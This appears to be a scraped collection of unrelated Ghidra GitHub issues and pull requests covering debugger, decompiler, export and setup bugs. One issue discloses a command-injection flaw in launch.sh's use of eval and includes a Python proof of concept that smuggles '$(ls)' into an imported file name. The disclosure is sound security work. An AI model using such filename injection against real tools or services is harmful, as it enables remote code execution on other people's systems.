Describe the bug I will list multiple problems I have when I am trying to debug BattleForge.exe which is x86 windows game.

To Reproduce Steps to reproduce the behavior:

1. Go to 'Debugger'
2. Click on 'Launch (X)'
3. Enter cmd F:\Hry\BattleForgeGH\BattleForge.exe -online and Launch
4. Resume (F5)
5. See error After I clicked the right button a lot of times (when I was writing this to get an image) it changed to:

Expected behavior No error, or just resolved at first attempt

Environment (please complete the following information):

• OS: Windows 10.0.19042
• Java Version: openjdk 11.0.9.1 2020-11-04
• Ghidra Version: 10.0 master (https://github.com/NationalSecurityAgency/ghidra/commit/296360eb3479e70eb734a2abf2eded06b84e3d69)
• Ghidra Origin: locally built

Additional context Why do I need to click it so many times? Te second one also disappeared after a lot of tries. After many retries I noticed this: I think that missing dbghelp.dll could be cause of some of these issues, but the file exist. Is there already any guide on how to debug something bigger than few lines long test app? Is there any better way of communicating, than github issues?

Resolves #19 and resolves #1501.

@fedqx I've attached a ghidra script that implements the fix to this pr so you can use it until this makes it into a release.

FixedBinaryExporter.java.txt

Describe the bug Attempting to go to a virtual address to see the values in memory results in "Address not in trace" error.

To Reproduce Steps to reproduce the behavior:

1. Compile the two code snippets in the attachments sections.
2. Run analysis in the code browser for the launcher and the dll.
3. Open the launcher and the dll in the debuger tool.
4. In the launcher tab go to main and then in the decompiler window right-click anywhere just for laughs (and because I'm lazy).
5. Launch the debugger, in-vm and add the dll as the first argument.
6. Set a breakpoint after the call to LoadLibraryA.
7. Run until the breakpoint is hit.
8. Switch to the dll tab.
9. Open the modules view, right click on your dll and select "Map module to {dll_name}".
10. Set a breakpoint at the entry point to debuggerProblems.
11. Go back to the launcher and continue running until the new breakpoint is hit.
12. Set until the string pointer is loaded into a register.
13. Find the register in the memory view.
14. Double-click the register, right click, go to the stack-view, registers in the object tree for the stopped thread, look through the Windows toolbar and just scratch you head in utter confusion.
15. Give up and try to use goto.
16. Enter the address pr be lazy and use *:4 EAX (assumming it is in EAX).
17. Be greeted with "Address not in trace" error text.
18. Mash enter repeatedly hoping it will magically work the next time.

Attachments

#include <windows.h>
#include <iostream>
#include <system_error>

[[noreturn]] void garbageWinApiError() {
    std::error_code ec (errno,std::system_category());
    std::cerr << ec.message() << std::endl;
    throw std::system_error(ec);
}

struct Dll {
    HMODULE mod;

    Dll(HMODULE m) : mod(m) {};
    Dll& operator=(HMODULE m) { mod = m; return *this; }
    ~Dll() { FreeLibrary(mod); }
    operator HMODULE() { return mod; }
    operator bool() { return mod != nullptr; }
};

int main(int argc, const char **argv) {
    if (argc <= 1) {
        return -1;
    }
    Dll lib = LoadLibrary(argv[1]);
    if (!lib)
        garbageWinApiError();
    FARPROC fun = GetProcAddress(lib, "debuggerProblems");
    if (fun == nullptr)
        garbageWinApiError();
    fun();
    std::cout << "Press any key to continue..." << std::endl;
    std::cin.get();
}

#include <Windows.h>
#include <iostream>

extern "C" BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        std::cout << "Deleting System32 please wait...\n"
            << "Deleted successfully...\n"
            << "Sending all your data through Ghidra's backdoor or something..." // for debugging purposes of course ◔_◔
            << std::endl;
    }
    return true;
}

__declspec(dllexport) extern "C" void debuggerProblems() {
    std::cout << "You're too late we're already done!" << std::endl;
}

Environment (please complete the following information):

• OS: Microsoft Windows [Version 10.0.22000.527]
• Java Version: 11
• Ghidra Version: 10.2_DEV ee268dea09d8f2632d73b0d00cdda3a377a744e1
• Ghidra Origin: [e.g. official ghidra-sre.org distro, third party distro, locally built]

Additional context #3151

Not sure what triggers it, but after Ghidra has been running a while (treat as multiple day/week+) I come across this issue where when the python window tries to do the Resetting python pop-up an error occurs (that's when I notice the issue at least) and then from then on python scripts will fail as well as attempting to use the python window.

Closing the tool doesn't seem to fix, only a complete restart of Ghidra.

windows 10 ghidra 9.1.2 java 11.0.2 python 2.7.16

Hi! I'm trying to debug python code with Eclipse. Although Ghidra 9.1.2 is lunched from Eclipse, breakpoint is set and script is run from Ghidra the breakpoint doesn't get hit:

In an older version of ghidra it worked perfectly:

Also package names aren't resolved properly (e.g from java.lang import IllegalArgumentException)

"askFile" is implemented in class "ghidra.app.script.GhidraScript.askFile(String, String)" but it looks like PyDev isn't aware if it.

I installed: Eclipse Version: 2018-12 (4.10.0) Eclipse CDT 8.6.0.201502131403 PyDev for Eclipse 6.3.1.201802272029 GhidraDev 2.1.0.201908140834

Thanks a lot for your help! Matthias

For now GhidraDev allows to export only compiled module, which is not possible to import then to Eclipse workspace etc. It would be great to add such functionality.

This patch adds shifted pointers to Ghidra, which allow to treat pointers as not pointing directly to they're base types, but to an offset away of them. See issue #573

This patch is currently not ready to be merged, mainly because of three factors:

• Only 97% of integration tests succeed (might not be related to this patch, because some failures are GUI related)
• Help entries are missing
• Unit tests are missing

In the front end, this patch adds the context menu option "Shift Pointer" (hotkey T), which prompts for an offset and shifts the currently selected pointer by it. It also extends the TypeParser with the ability to parse the new shifted pointer syntax.

In the back end, this patch introduces:

• a new PointerDB-version, which also stores the shift offset
• a new method getShiftOffset to the Pointer interface
• XML-(de)serialization of the shift offset

In the decompiler, this patch works as follows:

• add a new field shiftOffset + XML-(de)serialization to TypePointer
• create a new CPUI_INT_ADD op to shift every shifted pointer back to it's original type
• type propagation logic to give the output of the above node the corresponding unshifted pointer type
• modify printc.cc to print shifted pointer types correctly

For everyone wanting to try this out, I created a simple test program which can be compiled + opened in Ghidra which specifically makes use of this feature. It's attached to this PR as a .txt file (because SO only supports .txt or .zip): ghidra_test.txt

PS: This patch ended up affecting way more than I thought, so it might take a while to merge into the codebase

Describe the bug If you import an ELF binary with the format as Executable and Linking Format (ELF) and then export that binary, it creates a corrupted binary that segfaults.

However, if you import it as "Raw binary" and manually select the language, then the exported file works as expected.

To Reproduce Steps to reproduce the behavior:

1. Import the cp ELF binary into your project (default settings).
2. Right-Click it and click Export...
3. Select Binary as the format.
4. Export it.
5. Make the exported binary executable.
6. Run the exported binary.

Expected behavior The exported binary should work instead of segfaulting (happens with multiple binaries that I've tested).

Screenshots Default: Import as Raw binary:

Environment (please complete the following information):

• OS: Kubuntu 18.10
• Ghira Version 9.0

Additional context Happens with both i386 and x86_64 binaries.

Cannot invoke "ghidra.program.model.data.DataTypeManager.getUniversalID()" because the return value of "ghidra.program.model.data.DataType.getDataTypeManager()" is null
java.lang.NullPointerException: Cannot invoke "ghidra.program.model.data.DataTypeManager.getUniversalID()" because the return value of "ghidra.program.model.data.DataType.getDataTypeManager()" is null
	at ghidra.app.plugin.core.datamgr.tree.DataTypeNode.getCurrentDisplayText(DataTypeNode.java:269)
	at ghidra.app.plugin.core.datamgr.tree.DataTypeNode.<init>(DataTypeNode.java:48)
	at ghidra.app.plugin.core.datamgr.tree.CategoryNode.generateChildren(CategoryNode.java:63)
	at docking.widgets.tree.CoreGTreeNode.children(CoreGTreeNode.java:114)
	at docking.widgets.tree.GTreeNode.getChildCount(GTreeNode.java:171)
	at docking.widgets.tree.internal.GTreeModel.getChildCount(GTreeModel.java:97)
	at java.desktop/javax.swing.tree.VariableHeightLayoutCache$TreeStateNode.expand(VariableHeightLayoutCache.java:1457)
	at java.desktop/javax.swing.tree.VariableHeightLayoutCache$TreeStateNode.expand(VariableHeightLayoutCache.java:1272)
	at java.desktop/javax.swing.tree.VariableHeightLayoutCache.ensurePathIsExpanded(VariableHeightLayoutCache.java:967)
	at java.desktop/javax.swing.tree.VariableHeightLayoutCache.setExpandedState(VariableHeightLayoutCache.java:181)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI.updateExpandedDescendants(BasicTreeUI.java:2003)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI$Handler.treeExpanded(BasicTreeUI.java:4295)
	at java.desktop/javax.swing.JTree.fireTreeExpanded(JTree.java:2853)
	at java.desktop/javax.swing.JTree.setExpandedState(JTree.java:3766)
	at java.desktop/javax.swing.JTree.expandPath(JTree.java:2296)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI.toggleExpandState(BasicTreeUI.java:2644)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI.handleExpandControlClick(BasicTreeUI.java:2629)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI.checkForClickInExpandControl(BasicTreeUI.java:2577)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI$Handler.handleSelection(BasicTreeUI.java:4090)
	at java.desktop/javax.swing.plaf.basic.BasicTreeUI$Handler.mousePressed(BasicTreeUI.java:4038)
	at docking.widgets.JTreeMouseListenerDelegate.fireMousePressed(JTreeMouseListenerDelegate.java:125)
	at docking.widgets.JTreeMouseListenerDelegate.mousePressed(JTreeMouseListenerDelegate.java:97)
	at java.desktop/java.awt.Component.processMouseEvent(Component.java:6623)
	at java.desktop/javax.swing.JComponent.processMouseEvent(JComponent.java:3389)
	at java.desktop/java.awt.Component.processEvent(Component.java:6391)
	at java.desktop/java.awt.Container.processEvent(Container.java:2266)
	at java.desktop/java.awt.Component.dispatchEventImpl(Component.java:5001)
	at java.desktop/java.awt.Container.dispatchEventImpl(Container.java:2324)
	at java.desktop/java.awt.Component.dispatchEvent(Component.java:4833)
	at java.desktop/java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4948)
	at java.desktop/java.awt.LightweightDispatcher.processMouseEvent(Container.java:4572)
	at java.desktop/java.awt.LightweightDispatcher.dispatchEvent(Container.java:4516)
	at java.desktop/java.awt.Container.dispatchEventImpl(Container.java:2310)
	at java.desktop/java.awt.Window.dispatchEventImpl(Window.java:2780)
	at java.desktop/java.awt.Component.dispatchEvent(Component.java:4833)
	at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:773)
	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:722)
	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:716)
	at java.base/java.security.AccessController.doPrivileged(AccessController.java:399)
	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:86)
	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:97)
	at java.desktop/java.awt.EventQueue$5.run(EventQueue.java:746)
	at java.desktop/java.awt.EventQueue$5.run(EventQueue.java:744)
	at java.base/java.security.AccessController.doPrivileged(AccessController.java:399)
	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:86)
	at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:743)
	at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:203)
	at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124)
	at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113)
	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109)
	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
	at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90)

---------------------------------------------------
Build Date: 2022-Jul-26 1543 EDT
Ghidra Version: 10.1.5
Java Home: C:\Program Files\Eclipse Adoptium\jdk-17.0.4.8-hotspot
JVM Version: Eclipse Adoptium 17.0.4
OS: Windows 11 10.0 amd64
Workstation: REVISION-PC

Describe the bug The references produces by data to a type 0x2 relocation are off by +8 bytes on ARM.

Screenshots

Environment (please complete the following information):

• OS: Microsoft Windows [Version 10.0.19041.450]
• Java Version: 14.0.2
• Ghidra Version: 9.2_DEV f97e60483bd359fa996daeaea3313cde268fd65d

Additional context The reference to void::type_info should really be to __si_class_type_info. I've never seen so may references to a fundamental type_info before. I was baffled at seeing 649 references to it. The address of the external void::type_info linkage is 0x03ea725c and the address for _ZTVN10__cxxabiv120__si_class_type_infoE is 0x03ea7254

I have installed ghidra and jdk version 11.0.8 (the only version 11 I can find), both in the "Program Files" folder on a Win 10 VM in VMWare Pro.

When I run java -version, I get: java version "11.0.8" 2020-07-14 LTS Java(TM) SE Runtime Environment 18.9 (build 11.0.8+10-LTS) Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.8+10-LTS, mixed mode)

Here is my system path variable string: C:\Program Files\bin;C:\cygwin64\bin;C:\Program Files\Java\jdk-11.0.8\bin
I even added the java bin path to its own new line, just in case.

This is my error message: C:\Program Files\ghidra_9.1.2_PUBLIC>ghidraRun.bat LaunchSupport expected 2 to 4 arguments but got 1 LaunchSupport expected 2 to 4 arguments but got 1 LaunchSupport expected 2 to 4 arguments but got 1

Failed to find a supported JDK. Please refer to the Ghidra Installation Guide's Troubleshooting section.

I have deleted and re-downloaded and installed ghidra but I still get the same message. Any ideas what else I can do here? Thanks, Ryan

When loading PDB for debug binary in 10.2.2 code generation changes dramatically, only labels are added, not function names or params. Example of this "void cdecl _funccdeclfunccdecl_void_int_ptr_intfunccdecl_void_int_ptr(int param_1)" Many functions named (type call func) repeatedly Eg."void cdecl void(void)", code generated isn't any better. This is not so for 10.1.4 whereas the code is nicely generated/readable/fairly well labeled vs standard analyses.

Describe the bug The ARM disassembler / SLEIGH description does not include the "NV" condition code. This is sometimes (mis)used in 26bit ARM code by 1990s assembly programmers, to NOP out instructions without removing what the instruction was. It's along the lines of the assembly version of commenting out a line of code in C.

To Reproduce Steps to reproduce the behavior:

1. Open a binary containing instructions with an NV condition code, e.g. ''00 00 00 FB'' which is ''BL (next instruction)'' in ARM little-endian.
2. Select the first byte of the instruction and try to disassemble it.
3. See error.

Expected behavior Instruction is disassembled as ''BLNV'', which would be a NOP.

Ideally the instruction would decode correctly but have some kind of flow override or flag set to skip the Pcode. Also acceptable would be for it to just decode as a NOP, perhaps with a comment "NV condition code in use".

Screenshots

Environment (please complete the following information):

• OS: Linux Mint
• Java Version: OpenJDK 17
• Ghidra Version: 10.3, Git master from 14-Dec-2022 1628 GMT.
• Ghidra Origin: Locally built from Git sources

Is your feature request related to a problem? Please describe. It's a constant pain to remember which is mis-spelled between checkCanceled(), isCancelled(), or CancelledException. At some point, it would be good to just bite the bullet and start spelling checkCancelled() correctly..

Describe the solution you'd like Add checkCancelled() to TaskMonitor and deprecate checkCanceled().

Describe the bug /Ghidra/RuntimeScripts/Linux/support/launch.sh passes user provided input into eval. This results in straightforward command injection.

There are a couple of security SaaS's that use analyzeHeadless as part of a service, so this is a pretty surprising RCE on natural-looking invocations.

https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/RuntimeScripts/Linux/support/launch.sh#L192

if [ "${BACKGROUND}" = true ]; then
	eval "\"${JAVA_CMD}\" ${VMARG_LIST} -showversion -cp \"${CPATH}\" ghidra.Ghidra ${CLASSNAME} ${ARGS[@]}" &>/dev/null &
	
	# If our process dies immediately, output something so the user knows to run in debug mode.
	# Otherwise they'll never see any error output from background mode.
	# Doing a kill -0 sends a no-op signal, which can be used to see if the process is still alive.
	PID=$!
	sleep 1
	if ! kill -0 ${PID} &>/dev/null; then
		echo "Exited with error.  Run in foreground (fg) mode for more details."
		exit 1
	fi
	exit 0
else
	eval "(set -o noglob; \"${JAVA_CMD}\" ${VMARG_LIST} -showversion -cp \"${CPATH}\" ghidra.Ghidra ${CLASSNAME} ${ARGS[@]})"
	exit $?
fi

To Reproduce

import subprocess

with open('/bin/bash', 'rb') as f:
    data = f.read()

with open('./$(ls).bin', 'wb') as g:
    g.write(data)

command = ['analyzeHeadless','./','poc','-import','./$(ls).bin']
subprocess.call(command, shell=False)

Describe the bug A clear and concise description of the bug.

To Reproduce Steps to reproduce the behavior:

1. Compile

#include <cstdio>
#include <xmmintrin.h>

int func(const __m128 v)
{
    __m128 x = _mm_shuffle_ps(v, v, 0x00);
    __m128 y = _mm_shuffle_ps(v, v, 0x55);
    __m128 z = _mm_shuffle_ps(v, v, 0xAA);

    __m128 s = _mm_add_ps(x, y);
    s = _mm_add_ps(s, z);

    return _mm_cvtt_ss2si(s);
}

int main(int argc, char** argv)
{
    __m128 v = _mm_setr_ps(30 * argc, 0.3 * argc, 0.4 - argc, 0);
    int sum = func(v);
    printf("Result: %d", sum);

    return 0;
}

2. Compile with MSVC (any version, at least from 2013 to latest)
3. The disassembly should say something akin to _func__cdecl_int_char_ptr("Result: %d",(int)((float)_Argc * 0.3 + (float)(_Argc * 30) + 0.0));. Note the incorrect 0.0 in place of 0.4 - (float)_Argc.

Expected behavior It appears that the result of SHUFPS XMM#, 0xAA gets turned into 0.0, which is very difficult to work with for many executables. Here's a direct example below:

Screenshots

File:

• Language ID: x86:LE:64:default (2.13)
• Compiler ID: windows
• Processor: x86
• Endian: Little
• Address Size: 64

Environment:

• OS: Windows 11 22621.963
• Java Version: openjdk 19 2022-09-20
• Ghidra Version: 10.2.2
• Ghidra Origin: https://github.com/NationalSecurityAgency/ghidra/issues/releases